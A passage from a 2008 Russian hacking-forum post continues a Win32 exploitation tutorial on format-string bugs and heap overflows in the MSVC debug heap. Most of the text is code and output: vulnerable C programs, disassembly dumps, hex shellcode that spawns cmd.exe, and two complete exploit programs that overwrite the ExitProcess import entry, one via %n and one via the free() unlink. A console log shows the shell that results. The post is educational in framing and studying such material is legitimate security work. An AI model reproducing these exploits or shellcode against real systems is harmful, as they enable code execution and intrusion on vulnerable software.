Показать сообщение отдельно

продолжение
  #2  
Старый 29.04.2008, 14:27
Аватар для Flame of Soul
Flame of Soul
Участник форума
Регистрация: 25.05.2007
Сообщений: 290
Провел на форуме:
1740746

Репутация: 435
Отправить сообщение для Flame of Soul с помощью MSN
По умолчанию продолжение

---| 0x05 Format String (not format C) |-----------------------------------

Код HTML:
 Большенство из вас (и даже некоторых опытных специалистов в области компьютер-
ной безопасности, с которыми мне пришлось общаться) не подозревали, что уязви-
мость класса формат строки (format string) может быть использована в целях по-
лучения шелла (это было связано с тем, что никто из них толком не изучал эту
тему). Процесс протекает аналогично тому, который используется в *nix'e.
В windows есть аналог GOT'y - Import Address Table (IAT)...где в виде таблицы
хранятся адреса функций, а ниже соответствующие этим адресам наименования функ-
ций. Многие наверное знают каким свойством обладает %n (записывает по адресу
аргумента кол-во символов до данного оператора). Об этом очень хорошо было опи-
сано в своё время в статьях ya_man'a. Рассмотрим уязвимую программу:
PHP код:
 .....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main(int argcchar **argv) {
    
char abc[200];
    
int yo;
    
yo=atoi(argv[1]);
    
strncpy(abc,argv[2],199);
    
printf(abc);
    
ExitProcess(0);
}
 .....:-[
end of source code]-:..........

C:\MSVCSTAFF\Debug>vuln3.exe 666 AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x
.%x.%x.%x.%x.%x.%x AAAA143018.0.7ffdf000.cccccccc.cccccccc.cccccccc.cccccccc
.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.ccccc
ccc
.cccccccc.cccccccc.cccccccc.29a
C
:\MSVCSTAFF\Debug
Код HTML:
Мы нашли начальную позицию внесения данных в char abc[100]; (0x29a - 666)
Теперь остаётся занести на эту позицию нужный адрес, который мы хотим перезапи-
сать и послать нужно сформированную строку! т.е. вместо 666 нужно вписать ад-
рес в десятичном виде и последний %x, который указывает на эту позицию (точнее,
вынимает из стека в качестве аргумента) заменить на %n (ну и сделать так, чтоб
кол-во символов до %n было равно адресу на шеллкод в десятичном виде)! Вот по-
жалуй и всё :)! Остаётся выяснить адрес, который нужно перезаписать, если пос-
мотреть на память повнимательней, то можно найти адреса функций (а именно, нас
интересует адрес функции ExitProcess()):
PHP код:
 .....:-[disassembled]-:................
  
'
00425119  00 00 ... E7 77  ...............................ч\зw
0042513C  38 C9 ... 05 E8  8Йзw+Дзw_6лw=_зw__зwЕxзw4_йwэ_зwШ.и
0042515F  77 EF ... 02 77  wпwзw. зw_.жw__зw"_лw+ЕйwбЙзw$.зw.w
00425182  E6 77 ... 77 3E  жwб~зw1Йзw."зwz.жw.nзw&Ззw-.хw4_зw>
004251A5  18 F6 ... E7 77  .цw-1зw_3зw$Йжw}.хwhiзwО|зwлAжwfИзw
004251C8  9F 84 ... 74 E7  _"зw?Ўзw.Зжwш.хw..зw/rхwщ?зw__зw.tз
004251EB  77 F9 ... 00 00  wщ_зw.язwcyзw......................
0042520E  00 00 ... 00 00  ...................................
00425231  00 00 ... 65 73  .......................}.ExitProces
00425254  73 00 ... 00 74  s.KERNEL32.dll..К.GetCommandLineA.t
00425277  01 47 ... 74 64  .GetVersion..Q.DebugBreak..R.GetStd
0042529A  48 61 ... 44 65  Handle..Я.WriteFile.-.InterlockedDe
004252BD  63 72 ... 47 65  crement..х.OutputDebugStringA..>.Ge
004252E0  74 50 ... 6E 74  tProcAddress..В.LoadLibraryA..°.Int
00425303  65 72 ... 65 4E  erlockedIncrement..$.GetModuleFileN
00425326  61 6D ... 72 72  ameA.._.TerminateProcess..ч.GetCurr
00425349  65 6E ... 6C 74  entProcess.-.UnhandledExceptionFilt
  '
 
.....:-[end of disassembled]-:......... 
Код HTML:
начальный(верхний) кусок отвечает адресам соответствующих функций, которые пре-
дставлены в нижней части блока. Т.е. по адресу 0x00425138 и находится наш Exit
Process(). Всё что нужно теперь уже известно!
PHP код:
 .....:-[source code с or с++]-:........
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <winbase.h>
char shellcode[] =
    
"\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51"
    "\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63" "\x54"
    "\xB9\xD8\x05\xE8\x77" "\xff\xd1" "\xb9\xaa\xaa\x65\x6d"
    "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54"
    "\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1"
    "\xb9\xaa\x63\x6d\x64" "\xC1\xE9\x08" "\x51" "\x54"
    "\xff\xd0" "\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57"
    "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0"
;
int main()
{
    
long ret=0x425138;//addr of ExitProcess()
    
char cmd[200];
    
long xret=0x0012feb8 0xee;//addr of shellcode
    
memset(cmd,0x00,sizeof(cmd));
    
strcpy(cmd,"C:\\MSVCSTAFF\\Debug\\vuln3.exe ");
    
sprintf(cmd+strlen(cmd),"%d %s%%x.((%%x.)*17).%%%dx.%%n",ret,shellcode,xret);
    
system(cmd);
    return 
0;
}
 .....:-[
end of source code]-:..........

Работоспособность:
C:\MSVCSTAFF\Debug>fmt-str-exp.exe
.....
                          
cccccccc.Microsoft Windows XP [Верс
ия 5.1.2600
]
(
СКорпорация Майкрософт1985-2001.
C
:\MSVCSTAFF\Debug>exit
C:\MSVCSTAFF\Debug
Код HTML:
Как видно, всё работает! Но одно но, перезаписываемый адрес содержит 0х00 байт!
т.е. если бы не было int yo; то перезаписать этот адрес нам бы не удалось, т.к.
мы не можем использовать %<NUMBER>$n технологию:

		C:\MSVCSTAFF\Debug>vuln3 11 %1$x
		$x
		C:\MSVCSTAFF\Debug>vuln3 11 %1\$x
		\$x
		C:\MSVCSTAFF\Debug>vuln3 11 %%1$x
		%1$x
		C:\MSVCSTAFF\Debug>vuln3 11 %%1\$x
		%1\$x

А если записать адрес ExitProcess() в конце нашего запроса и последовательно 
извлекать из стека данные, то мы не сможем добраться до нашего адреса, т.к.
мы будем добавлять всё новые и новые символы в буфер (дистанция до адреса 
будет сохраняться), а перезаписать адреса тех или иных функций каких-либо мод-
улей не удастся. Поэтому необходимо думать куда бы записать адрес, который надо
перезаписать.
---| 0x06 Heap Overflow (way the most strong) |----------------------------
Код HTML:
И вот, пожалуй, самая интересная часть :), которая заставляет созидать. Думаю,
следует начать изучать данный тип уязвимости сразу с примера.
PHP код:
 .....:-[source code с or с++]-:........
#include <windows.h>
#include <stdio.h>
int main() {
    
char *a;
    
char *b;
    
a=(char *)malloc(100);
    
b=(char *)malloc(30);
    
char arg[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
    
memcpy(b,&arg,sizeof(arg));
    
free(a);
    
ExitProcess(0);
}
 .....:-[
end of source code]-:.......... 
Код HTML:
Следим за ходом выполнения программы в отладчике! Как видно из примера, сперва
выделяется 100 байт в heap'e и указателю а присваевается адрес этого места (с
которого можно заносить данные), после чего выделяется 30 байт для b.в этом
случае а указывает на 0х00430150, а b - на 0х00430100 если глянуть на эти адре-
са, то можно увидеть следующую картину:
PHP код:
 .....:-[disassembled]-:................
  
'
00430100  CD CD ... FD 00  ННННННННННННННННННННННННННННННээээ.
....
00430150  CD CD ... CD CD  ННННННННННННННННННННННННННННННННННН
00430173  CD CD ... CD CD  ННННННННННННННННННННННННННННННННННН
00430196  CD CD ... FD 91  ННННННННННННННННННННННННННННННээээ'

причёмесли рассматривать после выделения всю структуру целикомто для bк
примеру
она принимает вид такой:

004300BA  00 00 ... 00 51  ..............................Р...Q
004300DD  00 00 
... FD FD  ...0.C.....................(...ээээ
00430100  CD CD 
... FD 00  ННННННННННННННННННННННННННННННээээ.
00430123  00 00 ... 01 00  .....Q...'....I2.а.C.........d.....
  '
 
.....:-[end of disassembled]-:......... 
Код HTML:
при этом используемая юзером часть - с 0х00430100 по 0х0043011e (30 байт т.е.).
далее по программе идёт запись в b, если запустить программу, то можно увидеть
окошко об ошибке, которое сообщает, что освобождаемый блок (а) испорчен (т.е.
испорчен нами, т.к. мы перезаписали его часть).
Предлагаю заглянуть внутрь функции free() и всё выяснить:
PHP код:
_CRTIMP void __cdecl free(void pUserData)
{    
_free_dbg(pUserData_NORMAL_BLOCK); }

идёт вызов free в отладочном режиме

_CRTIMP void __cdecl _free_dbg
(
#endif  /* _MT */
    
void pUserData,
    
int nBlockUse)
{
_CrtMemBlockHeader pHead;
...

pUserData это и есть тот блок который мы пытаемся освободить (т.еa)
pHead структура заголовка блокакоторая выглядит следующим образом:

typedef struct _CrtMemBlockHeader
{
    
struct _CrtMemBlockHeader    pBlockHeaderNext;
    
struct _CrtMemBlockHeader    pBlockHeaderPrev;
    
char                    *szFileName;
    
int                    nLine;
    
size_t                nDataSize;
    
int                    nBlockUse;
    
long                    lRequest;
    
unsigned char            gap[nNoMansLandSize];
    
/* followed by:
    *  unsigned char        data[nDataSize];
    *  unsigned char        anotherGap[nNoMansLandSize];
    */
_CrtMemBlockHeader;

далее идут проверки блокакоторый был передан:
    
/* verify heap before freeing */
    
if (_crtDbgFlag _CRTDBG_CHECK_ALWAYS_DF)
    
_ASSERTE(_CrtCheckMemory());
    if (
pUserData == NULL)
    return; 
Код HTML:
разумется, что, если был передан нулевой адрес блока, то на этом этапе выполне-
ние функции free() завершится.

		_ASSERTE(_CrtIsValidHeapPointer(pUserData));

тут идёт проверка самого адреса блока, если мы передали неправильный адрес (для
примера 0х41414141), то на этом этапе программа выдаст нам ошибку!

		/* get a pointer to memory block header */
		pHead = pHdr(pUserData);

указателю pHead (который указывает на структуру _CrtMemBlockHeader) присваев-
ается адрес структуры заголовка блока, который расположен на 0x20 байт левее
адреса блока (т.е. если а = 0х00430150, то pHead = 0х00430130)
Если глянуть на адрес 0х00430130, то мы увидим, что мы его затёрли (и не толь-
ко его), когда копировали информацию в b (т.к. блок b был расположен выше(лев-
ее) блока a):

00430130  41 41 41 ... CD CD  AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.ээННН

ясное дело, что это и будет причина ошибки, и вот, как и следовало ожидать,
сразу после присваивания указателю pHead адреса на структуры заголовка идёт
проверка блока, т.е. проверка того адреса, который был присвоен указателю:

	/* verify block type */
	_ASSERTE(_BLOCK_TYPE_IS_VALID(pHead->nBlockUse));

если сделать шаг дальше, то на этом месте выскочит ошибка! Но причина не в том,
что мы затёрли адрес на структуру...причина в том, что мы затерли те байты,
которые используются при данной проверке:
PHP код:
 .....:-[disassembled]-:................
  
'
004300EA  00 00 ... CD CD CD  ..............(...ээээННННННННННННН
0043010D  CD CD ... 00 00  НННННННННННННННННээээ......Q...'
...
00430130  88 49 ... CD CD  .I2.а.C.........d.......'...ээээННН
  '
 
.....:-[end of disassembled]-:.........

вот эти байты "00 00 00 01 00 00 00 28 00 00 00"
Код HTML:
если же их не затерать, то выполнение функции free() продолжится далее! А имен-
но проверки и работа со структурой, на которую указывает pHead! Это и есть пре-
дмет для тщательного изучения, т.к. адрес на структуру заголовка блока мы конт-
ролируем.
И разумеется самые интересные строки далее для меня были:
	.....
	pHead->pBlockHeaderNext->pBlockHeaderPrev = pHead->pBlockHeaderPrev;
	.....
	pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext;
	.....
предлагаю изучить их повнимательней:
PHP код:
1062:     pHead->pBlockHeaderNext->pBlockHeaderPrev pHead->pBlockHeaderPrev;
00401E1C 8B 45 FC    mov    eax,dword ptr [pHead]
00401E1F 8B 08        mov      ecx,dword ptr [eax]
00401E21 8B 55 FC    mov      edx,dword ptr [pHead]
00401E24 8B 42 04    mov      eax,dword ptr [edx+4]
00401E27 89 41 04    mov      dword ptr [ecx+4],eax 
Код HTML:
последняя инструкция вызывает опасения, т.к. ,контролируя ecx и eax, можно пе-
резаписать какой-нибудь адрес, хранящийся в [ecx+4] на значение(адрес), которое
хранится в eax. И что же вы думаете? Это действительно так! Мы контролируем eax
и ecx! :)) Т.е. адрес, на который указывает pHead - мы можем перезаписать..

00401E1C 8B 45 FC	mov	eax,dword ptr [pHead]
---------------------[запишет в eax адрес pHead (0х00430130, если помните) ]

00401E1F 8B 08		mov	ecx,dword ptr [eax]
---------------------[в ecx запишется то, что находится по адресу]
---------------------[0x00430130, КОТОРЫЙ МЫ КОНТРОЛИРУЕМ]

00401E21 8B 55 FC	mov	edx,dword ptr [pHead]
---------------------[в edx запишется 0x00430130]

00401E24 8B 42 04	mov	eax,dword ptr [edx+4]
---------------------[а в eax запишется то, что находится по адресу]
---------------------[0х00430134 , КОТОРЫЙ МЫ ТОЖЕ КОНТРОЛИРУЕМ]

00401E27 89 41 04	mov	dword ptr [ecx+4],eax
---------------------[и в итоге запишем по адресу, который хранится]
---------------------[в ecx + смещение 4байта... адрес, который записан]
---------------------[в eax]

Вот где собака зарыта! :) Теперь достаточно вместо адреса структуры заголовка
блока написать адрес функции ExitProcess(), а в следующие 4 байта записать ад-
рес, где хранится шеллкод. Но не стоит торопиться...предлагаю рассмотреть сле-
дующую строку, которая осталась:
PHP код:
pHead->pBlockHeaderPrev->pBlockHeaderNext pHead->pBlockHeaderNext;

1072pHead->pBlockHeaderPrev->pBlockHeaderNext pHead->pBlockHeaderNext;
00401E73 8B 45 FC    mov    eax,dword ptr [pHead]
00401E76 8B 48 04    mov    ecx,dword ptr [eax+4]
00401E79 8B 55 FC    mov    edx,dword ptr [pHead]
00401E7C 8B 02        mov    eax,dword ptr [edx]
00401E7E 89 01        mov    dword ptr [ecx],eax

Как видно
тут мы тоже контролируем ecx eaxНОСледует уделить этому куску
должное внимание
!

00401E73 8B 45 FC    mov    eax,dword ptr [pHead]
00401E76 8B 48 04    mov    ecx,dword ptr [eax+4]
---------------------[
в ecx будет значение адреса 0х00430134 (адрес шеллкода)]

00401E79 8B 55 FC    mov    edx,dword ptr [pHead]
00401E7C 8B 02        mov    eax,dword ptr [edx]
---------------------[
а здесь(в eaxбудет значение адреса 0х00430130]
---------------------[(
т.еадрес ExitProcess())]

00401E7E 89 01        mov    dword ptr [ecx],eax
---------------------[ну а тутсобственно первые 4 байта нашего]
---------------------[
шеллкода перепишутся на 0х00430130
Код HTML:
Что же делать в этом случае? :)) Не стоит отчаиваться и забывать, что при прыж-
ке на шеллкод эти байты: "\x30\x01\x43\x00" превратятся в инструкции, которые
будут выполняться! Теперь задача состоит в том, чтобы сделать так..чтоб эти ин-
струкции ничего не испортили. Как это можно сделать? Очень просто - добавить
дополнительные инструкции в начало, чтобы при интерференции картина не измени-
лась :)), т.е. добавить 8 буковок A, к примеру, как я и сделал! маленькие нюан-
сы: мы, когда добираемся до адреса структуры блока (0х00430130) сносим на своём
пути другие данные, которые используются функцией __sbh_free_block при непос-
редственном освобождении:
PHP код:
 .....:-[disassembled]-:................
  
'
004300DA  00 00 ... CD CD  ..............(...ээээННННННННННННН
004300FD  CD CD ... 00 00  НННННННННННННННННээээ......Q...'
...
00430120  88 49 ... CD CD  .I2.Р.C.........d.......'...ээээННН
  '
 
.....:-[end of disassembled]-:......... 
Код HTML:
очень важно сконструировать замену этим байтам "91 00 00 00", которые являются
sizeFront'ом, иначе на этом участке программа выдаст ошибку т.к. sizeFront есть
ничто иное как 0х00000091 и если в нём нолики заменить на хотя бы те же 0х01,
то получится 0х01010191, что есть 16843153. И представьте какой адрес тогда при
своится указателю pNext при наличии вот такого громадного смещения! Чтобы избе-
жать этой трудности...достаточно записать вместо этих 4байт маленькую величину,
такую как 0хffffffff :). Вот и всё! Проблема решена!
PHP код:
Окончательный вариант получается таков (эксплоит):

/* Heap Overflow exploit example for Win32 */

#include <windows.h>
#include <stdio.h>
char shellcode[] =
    
"\x41\x41\x41\x41" "\x41\x41\x41\x41"
    "\x33\xD2" "\x52" "\x68\x6C\x6C\x20\x20"
    "\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63"
    "\x54" "\xB9\xD8\x05\xE8\x77" "\xFF\xD1"
    "\x52" "\x68\x20\x63\x6D\x64" "\x54"            
    "\xB9\x44\x80\xC1\x77" "\xFF\xD1" "\x52"            
    "\xB9\xDC\x7A\xC2\x77" "\xFF\xD1"
;         
int main() {
    
char *a;
    
char *b;
    
a=(char *)malloc(100);
    
b=(char *)malloc(30);
    
printf("%p\n",shellcode);
    
char arg[]=
        
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //malloc(30)
        
"\xfd\xfd\xfd\xfd"
        "\x01\x01\x01\x01\x01\x01\x51\x01\x01\x01\xff\xff\xff\xff" 
//important data
        
"\x34\x51\x42\x00" //0x00425134+4 -- addr of ExitProcess()
        
"\x30\x2a\x42\x00" //0x00422a30 -- addr of shellcode
        
;
    
memcpy(b,&arg,sizeof(arg));
    
free(a);
    
ExitProcess(0);

Код HTML:
Ед. проблема, опять остающаяся в силе - это 0х00 в адресах, которые нужно испо-
льзовать! В случае с memcpy() нули не играют никакой роли, а вот, если исполь-
зовать strcpy, etc., то необходимо задуматься, что именно надо переписать, и
где именно расположить шеллкод! ;)
При написании использованы материалы статьи:
Crazy Einstein (aka xCrZx) crazy_einstein@yahoo.com 02.11.03 - прим. -=lebed=-

Последний раз редактировалось -=lebed=-; 30.04.2008 в 08:52..
 
Ответить с цитированием